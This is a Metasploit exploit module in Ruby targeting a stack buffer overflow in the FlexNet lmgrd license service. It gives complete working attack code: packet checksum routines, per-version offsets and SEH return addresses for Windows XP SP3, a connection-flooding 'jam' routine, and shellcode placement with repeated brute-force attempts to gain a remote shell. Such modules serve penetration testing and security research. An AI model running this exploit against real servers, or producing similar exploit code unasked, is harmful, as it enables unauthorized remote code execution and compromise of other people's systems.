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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'FlexNet License Server Manager lmgrd Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a vulnerability in the FlexNet
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        License Server Manager.
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        The vulnerability is due to the insecure usage of memcpy
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        in the lmgrd service when handling network packets, which
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        results in a stack buffer overflow.
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        In order to improve reliability, this module will make lots of
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        connections to lmgrd during each attempt to maximize its success.
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      },
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      'Author'         =>
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        [
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          'Luigi Auriemma', # Vulnerability Discovery and PoC
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          'Alexander Gavrun', # Vulnerability Discovery
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          'juan vazquez', # Metasploit module
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          'sinn3r' # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '81899' ],
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          [ 'BID', '52718' ],
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          [ 'ZDI', '12-052' ],
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          [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ],
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          [ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process'
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        },
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      'Payload' =>
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        {
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          'Space' => 4000
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Debug', {} ],
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          [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
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            {
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              'Offset' => 10476,
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              'ShellcodeOffset' => 5484,
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              'Ret' => 0x0047d01f # ppr from lmgrd.exe
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            }
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          ],
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          [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
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            {
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              'Offset' => 7324,
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              'ShellcodeOffset' => 2332,
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              'Ret' => 0x004eda91 # ppr from lmgrd.exe
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            }
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          ],
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          [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
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            {
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              'Offset' => 7320,
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              'ShellcodeOffset' => 2328,
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              'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
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            }
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          ],
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        ],
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      'DefaultTarget'  => 1,
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      'DisclosureDate' => '2012-03-23'))
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    register_options(
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      [
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        Opt::RPORT(27000),
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        OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
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        OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
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        OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
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      ])
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  end
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  def header_checksum(packet)
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    packet_bytes = packet.unpack("C*")
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    checksum = packet_bytes[0]
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    i = 2
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    while i < 0x14
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      checksum = checksum + packet_bytes[i]
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      i = i + 1
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    end
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    return (checksum & 0x0FF)
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  end
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  def data_checksum(packet_data)
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    word_table = ""
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    i = 0
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    while i < 256
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      v4 = 0
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      v3 = i
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      j = 8
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      while j > 0
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        if ((v4 ^ v3) & 1) == 1
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          v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
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        else
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          v4 = (v4 >> 1) & 0x0FFFF
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        end
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        v3 >>= 1
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        j = j - 1
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      end
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      word_table << [v4].pack("S")
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      i = i + 1
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    end
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    k = 0
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    checksum = 0
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    data_bytes = packet_data.unpack("C*")
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    word_table_words = word_table.unpack("S*")
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    while k < packet_data.length
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      position = data_bytes[k] ^ (checksum & 0x0FF)
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      checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
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      k = k + 1
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    end
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    return checksum
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  end
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  def create_packet(data)
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    pkt = "\x2f"
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    pkt << "\x00" # header checksum
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    pkt << "\x00\x00" # data checksum
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    pkt << "\x00\x00" # pkt length
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    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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    pkt << data
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    pkt[4,2] = [pkt.length].pack("n")
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    data_sum = data_checksum(pkt[4, pkt.length - 4])
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    pkt[2, 2] = [data_sum].pack("n")
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    hdr_sum = header_checksum(pkt[0, 20])
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    pkt[1] = [hdr_sum].pack("C")
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    return pkt
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  end
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  def jam
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    pkt = create_packet("")
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    datastore['Jam'].times do
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      connect
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      sock.put(pkt)
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      disconnect
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    end
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  end
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  def exploit
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    i = 1
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    while i <= datastore['Attempts'] and not session_created?
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      print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")
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      do_exploit
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      sleep(datastore['Wait'])
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      i = i + 1
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    end
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    if not session_created?
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      print_error("Exploit didn't work after #{i} attempts")
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    end
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  end
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  def do_exploit
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    t = framework.threads.spawn("jam", false) { jam }
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    my_payload = payload.encoded
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    header_length = 20 # See create_packet() to understand this number
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    pkt_data = ""
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    if target.name =~ /Debug/
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      pkt_data << "a" * (65535 - header_length)
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    else
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      pkt_data << rand_text(target['ShellcodeOffset'])
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      pkt_data << my_payload
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      pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length)
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      pkt_data << generate_seh_record(target.ret)
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      pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string
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      pkt_data << rand_text(65535 - pkt_data.length - header_length)
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    end
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    pkt = create_packet(pkt_data)
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    connect
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    sock.put(pkt)
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    handler
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    disconnect
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  end
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end
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